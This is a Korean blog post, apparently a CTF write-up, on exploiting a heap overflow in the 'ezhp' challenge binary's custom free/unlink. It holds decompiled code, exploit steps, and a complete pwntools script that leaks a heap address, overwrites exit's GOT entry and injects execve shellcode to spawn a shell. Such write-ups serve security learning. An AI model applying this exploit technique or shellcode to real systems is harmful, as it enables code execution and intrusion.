Double Free bug 공부 이후 처음 풀어보는 Heap overflow CTF 문제이다.
바이너리를 어느정도 분석해보면 알수있듯이, 예전버전의 glic때 썼던 free 알고리즘을 사용한다.
하지만 그때와는 다르다. free를 하지 않아도 fd, bk 가 존재했고, 또 다른 점은 unlink()시 bk+4 = fd, fd +8 = bk 가 들어간다. (2번째 함수 참조)
fd, bk 검증 구문도 따로 없어서 힙 익스 연습용으로 적합하게 제작된 문제로 보인다.
문제의 풀이는 요기 블로그를 참조했다.. 아직은 혼자 풀 실력이 안됨.. write-up 참조.. (http://nextline.tistory.com/104 )
<이해가 안갈수도 있는 부분>
왜 두 번째 청크의 prev_size, size 의 값을 0xffffffff, 0xffffffff 로 설정하였는가?
-> 보통 unlink()를 진행하면 병합을 해야만 fd, bk 가 바뀐다. 하지만 아래 바이너리를 보면..
-> |prev_size| | size | | fd | | bk | |data| 이렇게 되어있는 것을 예상할 수 있을지언데..
(하지만 좀 이상한게.. 바이너리 보면 bk+4 = fd, fd+8 = bk 라고 하니.. +8, +12가 되어야 하지 않나?) custom malloc, free 니 이해하자 최대한 문제를 푸는데 집중.. 분석해보면 알겠지만, 하고 싶지가 않다...
-> 그리고 bk, fd 는 조작된 유효한 주소들(쉘코드 등등)을 갖고 있을 것이고 if(bk), if(fd) 가 성공해서 fd, bk 가 바뀐다.
-> 즉.. 2번째 청크의 prev_size, size 값은 아무 의미가 없다.
-> 참 이렇게 적어놓고 보니 이 문제가 예전에 머리아프게 공부했던 unlink() 취약점인가도 싶기도 하고...그땐 PREV_INUSE(0)가 영향이 컸었음
int __cdecl free(int ptr) { int result; // eax _DWORD *size; // [esp+4h] [ebp-Ch] int bk; // [esp+8h] [ebp-8h] int fd; // [esp+Ch] [ebp-4h] if ( ptr ) { size = (_DWORD *)(ptr - 12); bk = *(_DWORD *)(ptr - 12 + 8); fd = *(_DWORD *)(ptr - 12 + 4); if ( bk ) *(_DWORD *)(bk + 4) = fd; if ( fd ) *(_DWORD *)(fd + 8) = bk; size[1] = *(_DWORD *)(dword_804B060 + 4); if ( *(_DWORD *)(dword_804B060 + 4) ) *(_DWORD *)(*(_DWORD *)(dword_804B060 + 4) + 8) = size; *(_DWORD *)(dword_804B060 + 4) = size; result = ptr - 12; *size &= 0xFFFFFFFE; } return result; } |
왜 마지막 sendline("a") 를 했는가..? exit 호출하려면 "5" 아닌가?
-> 바이너리를 확인해보면.. 5번은 goto LABEL_8; 임.. 그냥 정상 종료
-> 다른 숫자를 넣어줘야함 (a,b,c,d ....등)
int __cdecl main() { int result; // eax int v1; // [esp+1Ch] [ebp-4h] v1 = 0; LABEL_8: while ( v1 != 5 ) { sub_80489EB(); v1 = sub_80489B3(); switch ( v1 ) { case 1: sub_8048794(); // malloc break; case 2: sub_804881A(); // free break; case 3: sub_8048893(); // overflow! break; case 4: sub_8048956(); // heap_address leak! break; case 5: goto LABEL_8; default: exit(0); return result; } } return 0; } |
익스플로잇은 write-up 이 잘되있어서 그냥.. 참고용으로 올려놓는다.
1. 힙 청크 3개를 선언. (size = 12)
2. 첫번째 청크를 overflow시켜서 두번째 청크의 fd를 leak함.
3. leak한 fd에 + 0xc를 해서 3번째 청크 데이터주소를 구함.
4. 다시 첫번째 청크를 overflow시켜서 두번째 청크의 fd, bk를 (leak_add+0xc), (exit_got+4)로 조작한다.
5. 2번째 청크를 지워서 unlink가 발생하도록 한다.
6. 3번 청크의 데이터 에다가 쉘코드를 써준다.
7. exit_got를 실행
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 | from pwn import * e = ELF('./ezhp') s = process('./ezhp') shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" shellcode += "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" def leak(): s.recvuntil('on.\n') s.sendline('3') s.recvuntil('id.\n') s.sendline('0') s.recvuntil('ze.\n') s.sendline('28') s.recvuntil('ta.\n') s.sendline('A' * 28) s.recvuntil('on.\n') s.sendline('4') s.recvuntil('id.\n') s.sendline('0') return (u32(s.recvline()[28:32]) + 0xc) def exploit(): for i in range(0,3): s.recvuntil('on.\n') s.sendline('1') s.recvuntil('ze.\n') s.sendline('12') leak_add = leak() print '[+] LEAK ADD : ' + hex(leak_add) # exit_got overwrite s.recvuntil('on.\n') s.sendline('3') s.recvuntil('id.\n') s.sendline('0') s.recvuntil('ze.\n') s.sendline('36') payload = 'A' * 20 + "\xff\xff\xff\xff" * 2 payload += p32(leak_add) + p32(e.got['exit']-4) s.recvuntil('ta.\n') s.sendline(payload) s.recvuntil('on.\n') s.sendline('2') s.recvuntil('id.\n') s.sendline('1') print '[+] GOT OVERWRITE' # set shell code s.recvuntil('on.\n') s.sendline('3') s.recvuntil('id.\n') s.sendline('2') s.recvuntil('ze.\n') s.sendline('124') s.recvuntil('ta.\n') s.sendline('\x90' * 100 + shellcode + "\x00") print '[+] SET SHELL CODE' s.recvuntil('on.\n') s.sendline('A') print '[+] Get Shell!' s.interactive() def main(): exploit() if __name__ == "__main__": main() | cs |
'공부는 계속 .. > Pwnable Writeup' 카테고리의 다른 글
heap 문제 풀이 목록 (0) | 2018.03.13 |
---|---|
Codegate 2017 messenger (0) | 2018.03.01 |
Protostar heap3 (0) | 2018.02.27 |
Double Free Bug (0) | 2018.02.23 |
Codegate 2017 - babypwn (0) | 2018.02.22 |